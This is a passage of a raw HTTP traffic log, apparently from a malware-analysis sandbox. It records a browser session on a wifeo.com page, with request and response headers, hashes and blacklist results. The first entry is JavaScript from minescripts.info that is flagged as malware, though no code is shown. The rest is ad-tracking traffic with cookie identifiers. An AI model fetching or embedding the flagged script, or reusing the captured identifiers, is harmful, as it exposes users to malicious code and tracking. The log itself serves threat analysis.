80502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=4&dtd=606	104.18.46.158 HTTP/1.1 200 OK Content-Type: application/javascript Date: Tue, 13 Feb 2018 14:02:42 GMT Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: __cfduid=df4e123e90d9dae87fdbb975ba44d7fe31518530562; expires=Wed, 13-Feb-19 14:02:42 GMT; path=/; domain=.minescripts.info; HttpOnly Last-Modified: Tue, 13 Feb 2018 08:47:22 GMT Etag: W/"5a82a61a-26a1a" Expires: Tue, 13 Feb 2018 18:02:42 GMT Cache-Control: public, max-age=14400 Access-Control-Allow-Origin: * Content-Encoding: gzip CF-Cache-Status: HIT Vary: Accept-Encoding Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Server: cloudflare CF-RAY: 3ec853b0ca2742b5-OSL --- Additional Info --- Magic: gzip compressed data, from Unix Size: 39531 Md5: 1c9c37ee94ec3e1c6d5f4714d1360779 Sha1: a1570f3c3ee93136527182865f70fd8c9fbca2a4 Sha256: 410d40e0587fd552a61e4870c7cfc56382e5b76b0ce9ef5b9afdb5e157246c11 Alerts: Blacklists: - fortinet: Malware
GET /adfserve/?CC=1&bn=21309103;rtbwp=WoLwAAAOdzQKGI-NAAEa1YL_sjAZppZh5XiTXg;rtbdata=x-QconeWRJpxwDvr0OWHi-yyTRtv5y2pxjmhnbc_HYf1A5T3MwZy57QfGhgG7vcW8OkrmmqwEdB933qZg4wmMYNMQbPfzw_mMmMNdHuK2dgX-fHbLYycSQc0iLIxrm_3MPyXCqTm1hBoF1ovLTSa1sUIoYLXePiAR3Zqz6_FPkAlbAFnxTTVD28qB6yJN0y0jw9PKFYxjICVssFwilRnsaQF4kkqyKa7w3iI60gHGBc1;nofp=1;click=https://adclick.g.doubleclick.net/aclk?sa=L&ai=CqVVLAPCCWrTuOY2fYtW1hBDFx5-9Tb7QuIXlAsCNtwEQASAAYMPcpIWYGIIBF2NhLXB1Yi01NDM5Mjg1MjAzNTE1NzIzyAEJqQJH_UzW4DGGPqgDAaoEnQFP0IPuL8cZhkRmQuihB5gUEF5PEbRJS4we5jaYvowbDd5UahqaBIX1u5mua8xYIk7-6kHjKOkcfAOAB5o9Q0oKON9MHOjV3sH7ycON_HXR2pG016TJRvkFfslJ64UxsQFGP5Tkqsl_78pN7HKwnjZi99ZbRfMqq9n7uKckfQEbrl9a1cjg60hifiquMSaXWlXEcfEN7KGzQaVkil1YgAbinrmRmbDIt4IBoAYhqAemvhvYBwDSCAUIgGEQAQ&num=1&sig=AOD64_2N-eZttHoTa1h3c12AmgkpxQPwLg&client=ca-pub-5439285203515723&adurl=;js=1;adfxid=2x;2991;set=en-US\|en-US\|1176X885\|10.0452\|450\|50\|24\|8\|3\|7\|1;fd=0\|0&CREFURL=https%3a%2f%2fgoogleads.g.doubleclick.net%2fpagead%2fads%3fclient%3dca-pub-5439285203515723%26output%3dhtml%26h%3d60%26slotname%3d5224417502%26adk%3d2845482056%26adf%3d807048394%26w%3d585%26fwrn%3d4%26lmt%3d1518530546%26loeid%3d38893312%26rafmt%3d1%26format%3d585x60%26url%3dhttp%253A%252F%252Fmichaelnativel.wifeo.com%252F%26ea%3d0%26flash%3d10.0.45%26fwr%3d0%26resp_fmts%3d3%26wgl%3d0%26dt%3d151853 HTTP/1.1 Host: track.adform.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=60&slotname=5224417502&adk=2845482056&adf=807048394&w=585&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=585x60&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=3&wgl=0&dt=1518530560084&bpp=20&fdt=229&idt=331&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=312&ady=3546&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=2&dtd=358 Cookie: C=1	37.157.6.253 HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Server: nginx Date: Tue, 13 Feb 2018 14:02:42 GMT Content-Length: 2804 Connection: keep-alive Keep-Alive: timeout=15 Cache-Control: no-cache, no-store, must-revalidate, no-transform Pragma: no-cache Content-Encoding: gzip Expires: -1 Vary: Accept-Encoding Access-Control-Allow-Origin: * Set-Cookie: cid=4884062866989652075,0,0,0,0; expires=Sat, 14-Apr-2018 13:02:42 GMT; path=/ uid=4884062866989652075; domain=adform.net; expires=Sat, 14-Apr-2018 13:02:42 GMT; path=/ P3P: CP="NOI DSP COR NID CURa ADMa DEVa TAIa PSAa PSDa OUR LEG NAV INT" --- Additional Info --- Magic: gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), max speed Size: 2804 Md5: 8eb5236ef924d3a2d8bfd0ae9774edbe Sha1: 48efe0175e3496065c46f93ed32be89753cbaa72 Sha256: 97f9b4d3cf9e36eed45eb4f3eb61f946b05cd885c666489c41dfeec145b46384
GET /adfserve/?CC=1&bn=21309103;rtbwp=WoLwAAAOeHcKGJfVAApDtvcIILCSCAXLybOkMg;rtbdata=x-QconeWRJpxwDvr0OWHi78hmukHVFK8RQCTAR5cr1QHlafa_rFEhbQfGhgG7vcW8OkrmmqwEdB933qZg4wmMYNMQbPfzw_mMmMNdHuK2dgX-fHbLYycSQc0iLIxrm_3MPyXCqTm1hC9-bNoFRpauMUIoYLXePiAR3Zqz6_FPkAlbAFnxTTVD28qB6yJN0y0jw9PKFYxjICVssFwilRnsaQF4kkqyKa7w3iI60gHGBc1;nofp=1;click=https://adclick.g.doubleclick.net/aclk?sa=L&ai=Ci7J6APCCWvfwOdWvYraHqfAPxcefvU2-0LiF5QLAjbcBEAEgAGDD3KSFmBiCARdjYS1wdWItNTQzOTI4NTIwMzUxNTcyM8gBCakCE2Tw8uI0hj6oAwGqBJ0BT9AXMOfUVSiY5DJGcZeodxVkiGoBS11ntOjOZwxDrh9-mzTHnXg2eWWWiqxAf1zeVzkTrOvXfstUGDb_z1BBD9K73koNB2EvobUZja8uOH0QliJshPlT59p34w749vVF9zZTITJysmHHKUtlTTJ6odGu8p98D4LA7POw50Gqq8tbrfjA31RCagf8o_LrQ5e6xWeb5kppnLzyg3_q1IAG4p65kZmwyLeCAaAGIagHpr4b2AcA0ggFCIBhEAE&num=1&sig=AOD64_19LQnk-EME2ib3WSVpuf5HvnMqxg&client=ca-pub-5439285203515723&adurl=;js=1;adfxid=1x;3781;set=en-US\|en-US\|1176X885\|10.0452\|450\|50\|24\|8\|3\|7\|1;fd=0\|0&CREFURL=https%3a%2f%2fgoogleads.g.doubleclick.net%2fpagead%2fads%3fclient%3dca-pub-5439285203515723%26output%3dhtml%26h%3d60%26slotname%3d5224417502%26adk%3d2845482056%26adf%3d807048394%26w%3d585%26fwrn%3d4%26lmt%3d1518530546%26loeid%3d38893312%26rafmt%3d1%26format%3d585x60%26url%3dhttp%253A%252F%252Fmichaelnativel.wifeo.com%252F%26ea%3d0%26flash%3d10.0.45%26fwr%3d0%26resp_fmts%3d3%26wgl%3d0%26dt%3d151853 HTTP/1.1 Host: track.adform.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=60&slotname=5224417502&adk=2845482056&adf=807048394&w=585&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=585x60&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=3&wgl=0&dt=1518530560033&bpp=43&fdt=49&idt=242&shv=r20180207&cbv=r20170110&saldr=aa&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=2&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=312&ady=752&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7C%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=1&dtd=264 Cookie: C=1	37.157.6.253 HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Server: nginx Date: Tue, 13 Feb 2018 14:02:42 GMT Content-Length: 2804 Connection: keep-alive Keep-Alive: timeout=15 Cache-Control: no-cache, no-store, must-revalidate, no-transform Pragma: no-cache Content-Encoding: gzip Expires: -1 Vary: Accept-Encoding Access-Control-Allow-Origin: * Set-Cookie: cid=5540862615520228074,0,0,0,0; expires=Sat, 14-Apr-2018 13:02:42 GMT; path=/ uid=5540862615520228074; domain=adform.net; expires=Sat, 14-Apr-2018 13:02:42 GMT; path=/ P3P: CP="NOI DSP COR NID CURa ADMa DEVa TAIa PSAa PSDa OUR LEG NAV INT" --- Additional Info --- Magic: gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), max speed Size: 2804 Md5: bcd8e89d4e975bd9c0d0acd5f45fa230 Sha1: e3cb2e4697c159612fc22d94f1fc0a7b37c3f77c Sha256: d09bc40e582380305190665afea5acf4778fb174e941eb9ec958e63e1fce84e3
GET /activeview?avi=Bp8K1APCCWoX0Oc6yYsi5nUgA0OzA2ckGAAAQATgByAEJyAMC4AQDoAZM0ggFCIBhEAE&cid=CAASBORoCbo&id=osdim&ti=1&r=pv&uc=0&tgt=nf&cl=0&v=r20180207 HTTP/1.1 Host: pagead2.googlesyndication.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=600&slotname=5224417502&adk=3182230553&adf=807048394&w=178&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=178x600&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=4&wgl=0&dt=1518530560105&bpp=4&fdt=349&idt=445&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60%2C585x60&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=490&ady=3781&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=3&dtd=471	172.217.22.162 HTTP/1.1 200 OK Content-Type: image/gif P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Access-Control-Allow-Origin: * Date: Tue, 13 Feb 2018 14:02:42 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 1; mode=block Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info --- Magic: GIF image data, version 89a, 1 x 1 Size: 42 Md5: d89746888da2d9510b64a9f031eaecd5 Sha1: d5fceb6532643d0d84ffe09c40c481ecdf59e15a Sha256: ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629
GET /setuid?entity=101&code=CAESENlU4l1fd9jWe5KXCBrJAFk&google_cver=1 HTTP/1.1 Host: ib.adnxs.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/xbbe/pixel?d=COD5IRD7n5MBGO3Xwi0wAQ&v=APEucNXdPIp-0rBWF8KlZZR-OuF2mnBAjXXkypYqIIjb68ET4GfiPd7oxAVXuI3kKAD21n2WZnYv	37.252.172.42 HTTP/1.1 200 OK Content-Type: image/gif Server: nginx/1.13.4 Date: Tue, 13 Feb 2018 14:02:45 GMT Content-Length: 43 Connection: keep-alive Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 AN-X-Request-Uuid: 8e6208a8-d455-46e1-aa6c-d24bc605421e Set-Cookie: anj=dTM7k!M41.DunaTF']wIg2HaQD2>7N!@wnf]maBDeKuh7<xR))l!Qa3jPw@#/kdWoeE2w.jcU`ykw@)=i7NVvtl2@j@]Ex]*PRPP(dH])q#JQ; Path=/; Max-Age=7776000; Expires=Mon, 14-May-2018 14:02:45 GMT; Domain=.adnxs.com; HttpOnly sess=1; Path=/; Max-Age=86400; Expires=Wed, 14-Feb-2018 14:02:45 GMT; Domain=.adnxs.com; HttpOnly X-Proxy-Origin: 77.40.129.123; 77.40.129.123; 247.bm-nginx-loadbalancer.mgmt.fra1; .adnxs.com; 37.252.172.123:80 --- Additional Info --- Magic: GIF image data, version 89a, 1 x 1 Size: 43 Md5: 592ebefc7104d681d57852665e9ad514 Sha1: 15cdf8df32aa251dd6dd590a60bf9cf74474e7c5 Sha256: 4b5b6b15c6255109e06720cce42a06d3aead8b7874423d9c52cb0303212c25ef
GET /xbbe/match?xid=axhjb8NnQko2uD7NmcXs7qDp HTTP/1.1 Host: googleads.g.doubleclick.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/xbbe/pixel?d=COD5IRD7n5MBGO3Xwi0wAQ&v=APEucNXdPIp-0rBWF8KlZZR-OuF2mnBAjXXkypYqIIjb68ET4GfiPd7oxAVXuI3kKAD21n2WZnYv Cookie: IDE=AHWqTUk7nlTwsCZJsywhq8F0q-VgiwOsjyuPuOg16EODOLz1w_iPn625OCBie-zK	172.217.22.162 HTTP/1.1 204 No Content Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Date: Tue, 13 Feb 2018 14:02:41 GMT Server: cafe Content-Length: 0 X-XSS-Protection: 1; mode=block Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info ---
GET /pagead/js/r20180207/r20110914/client/ext/m_window_focus_non_hydra.js HTTP/1.1 Host: tpc.googlesyndication.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=60&slotname=5224417502&adk=2845482056&adf=807048394&w=585&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=585x60&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=3&wgl=0&dt=1518530560033&bpp=43&fdt=49&idt=242&shv=r20180207&cbv=r20170110&saldr=aa&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=2&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=312&ady=752&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7C%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=1&dtd=264	172.217.21.129 HTTP/1.1 200 OK Content-Type: text/javascript; charset=UTF-8 P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Date: Mon, 12 Feb 2018 18:19:18 GMT Expires: Mon, 26 Feb 2018 18:19:18 GMT Etag: 2112876643077467119 X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="f.txt" Content-Encoding: gzip Server: cafe Content-Length: 1203 X-XSS-Protection: 1; mode=block Cache-Control: public, max-age=1209600 Age: 71005 Alt-Svc: hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info --- Magic: gzip compressed data, max compression Size: 1203 Md5: 9a504624fadda2dcec8340bf93b2252c Sha1: fa6dbebcf9b5450a1dd2f2371c971e838ff627c0 Sha256: 1451d6f091d36a586c2d20cc652337663e11fe4045ec6867de1e21d5d8868c93
GET /sodar/V6zvOIoD.js HTTP/1.1 Host: tpc.googlesyndication.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=600&slotname=5224417502&adk=3182230553&adf=807048394&w=178&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=178x600&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=4&wgl=0&dt=1518530560109&bpp=5&fdt=496&idt=587&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60%2C585x60%2C178x600&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=490&ady=5181&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=4&dtd=606	172.217.21.129 HTTP/1.1 200 OK Content-Type: text/javascript Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 15146 Date: Mon, 12 Feb 2018 14:04:56 GMT Expires: Tue, 12 Feb 2019 14:04:56 GMT Last-Modified: Tue, 02 Jan 2018 21:45:00 GMT X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 1; mode=block Cache-Control: public, max-age=31536000 Age: 86267 Alt-Svc: hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info --- Magic: gzip compressed data, max compression Size: 15146 Md5: 6a56e1d1c9c0c105245cbce244c876f3 Sha1: 6613490ab3735f37499d311c6efba3f689ec4abb Sha256: ad20ef401ac229a0ab07b057ed9350c85816118a662c7cfa240fa5cd86c718f0
GET /stoat/607/s1.adform.net/load/v/0.0.146/e/0gCDgAA/i/8IG-iAAAAEAA/r:AdConstructor:contents/ImageTag:types/Standard HTTP/1.1 Host: s1.adform.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=60&slotname=5224417502&adk=2845482056&adf=807048394&w=585&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=585x60&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=3&wgl=0&dt=1518530560084&bpp=20&fdt=229&idt=331&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=312&ady=3546&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=2&dtd=358 Cookie: uid=4884062866989652075	37.157.6.234 HTTP/1.1 200 OK Content-Type: text/javascript Server: nginx Date: Tue, 13 Feb 2018 14:02:43 GMT Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=15 Vary: Accept-Encoding Access-Control-Allow-Origin: * Last-Modified: Wed, 07 Feb 2018 15:24:23 GMT Cache-Control: public, max-age=100000 Expires: Wed, 14 Feb 2018 17:14:25 GMT X-Cache-Status: HIT Content-Encoding: gzip --- Additional Info --- Magic: gzip compressed data, from Unix Size: 35421 Md5: 752645330ed92c2f879fb9161238682f Sha1: 720b6c7864e5f084dd5e6a0faa196297544b8e60 Sha256: 37a4451a293bcb4c698aadf71e4449da5bf3b901ddba00e220fe221b30103358
GET /pcs/activeview?xai=AKAOjss7T9JzbufnjJum1x3S-VQUTcqPDyQIgS1Pl_8sm3Np8e7cDzEOEk2RbUOytqyWt_5jxVXYh9JG9PZPG2xV&sig=Cg0ArKJSzOD6c9FLLLIjEAE&id=lidar2&adk=1&mtos=0,0,0,0,0&tos=0,0,0,0,0&p=0,0,605,160&inapp=0&mcvt=0&rs=5&mc=-1&lte=-2&bas=-1&bac=-1&if=1&r=pv&tt=802&pt=-1&deb=1-1-0-0-0--1&tvt=0&is=160,600&url=https%3A%2F%2Fgoogleads.g.doubleclick.net%2Fpagead%2Fads%3Fclient%3Dca-pub-5439285203515723%26output%3Dhtml%26h%3D600%26slotname%3D5224417502%26adk%3D3182230553%26adf%3D807048394%26w%3D178%26fwrn%3D4%26lmt%3D1518530546%26loeid%3D38893312%26rafmt%3D1%26format%3D178x600%26url%3Dhttp%253A%252F%252Fmichaelnativel.wifeo.com%252F%26ea%3D0%26flash%3D10.0.45%26fwr%3D0%26resp_fmts%3D4%26wgl%3D0%26dt%3D1518530560105%26bpp%3D4%26fdt%3D349%26idt%3D445%26shv%3Dr20180207%26cbv%3Dr20170110%26saldr%3Daa%26prev_fmts%3D585x60%252C585x60%26correlator%3D2522521449464%26frm%3D20%26ga_vid%3D709438037.1518530560%26ga_sid%3D1518530560%26ga_hid%3D1665291383%26ga_fc%3D0%26pv%3D1%26icsg%3D0%26nhd%3D1%26dssz%3D0%26mdo%3D0%26mso%3D0%26u_tz%3D60%26u_his%3D1%26u_java%3D1%26u_h%3D885%26u_w%3D1176%26u_ah%3D855%26u_aw%3D1176%26u_cd%3D24%26u_nplug%3D10%26u_nmime%3D92%26adx%3D490%26ady%3D3781%26biw%3D1159%26bih%3D754%26abxe%3D1%26scr_x%3D0%26scr_y%3D0%26eid%3D38893302%252C21061122%252C191880502%26oid%3D3%26rx%3D0%26eae%3D4%26fc%3D528%26brdim%3D%252C%252C-4%252C-4%252C1176%252C0%252C1184%252C863%252C1176%252C754%26vis%3D0%26rsz%3D%257C%257Cbr%257C%26abl%3DCS%26ppjl%3Du%26pfx%3D0%26fu%3D144%26bc%3D1%26ifi%3D3%26dtd%3D471&url=https%3A%2F%2Fgoogleads.g.doubleclick.net%2Fpagead%2Fads%3Fclient%3Dca-pub-5439285203515723%26output%3Dhtml%26h%3D600%26slotname%3D5224417502%26adk%3D3182230553%26adf%3D807048394%26w%3D178%26fwrn%3D4%26lmt%3D1518530546%26loeid%3D38893312%26rafmt%3D1%26format%3D178x600%26url%3Dhttp%253A%252F%252Fmichaelnativel.wifeo.com%252F%26ea%3D0%26flash%3D10.0.45%26fwr%3D0%26resp_fmts%3D4%26wgl%3D0%26dt%3D1518530560105%26bpp%3D4%26fdt%3D349%26idt%3D445%26shv%3D HTTP/1.1 Host: pagead2.googlesyndication.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=600&slotname=5224417502&adk=3182230553&adf=807048394&w=178&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=178x600&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=4&wgl=0&dt=1518530560105&bpp=4&fdt=349&idt=445&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60%2C585x60&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=490&ady=3781&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=3&dtd=471	172.217.22.162 HTTP/1.1 200 OK Content-Type: image/gif P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Access-Control-Allow-Origin: * Date: Tue, 13 Feb 2018 14:02:43 GMT 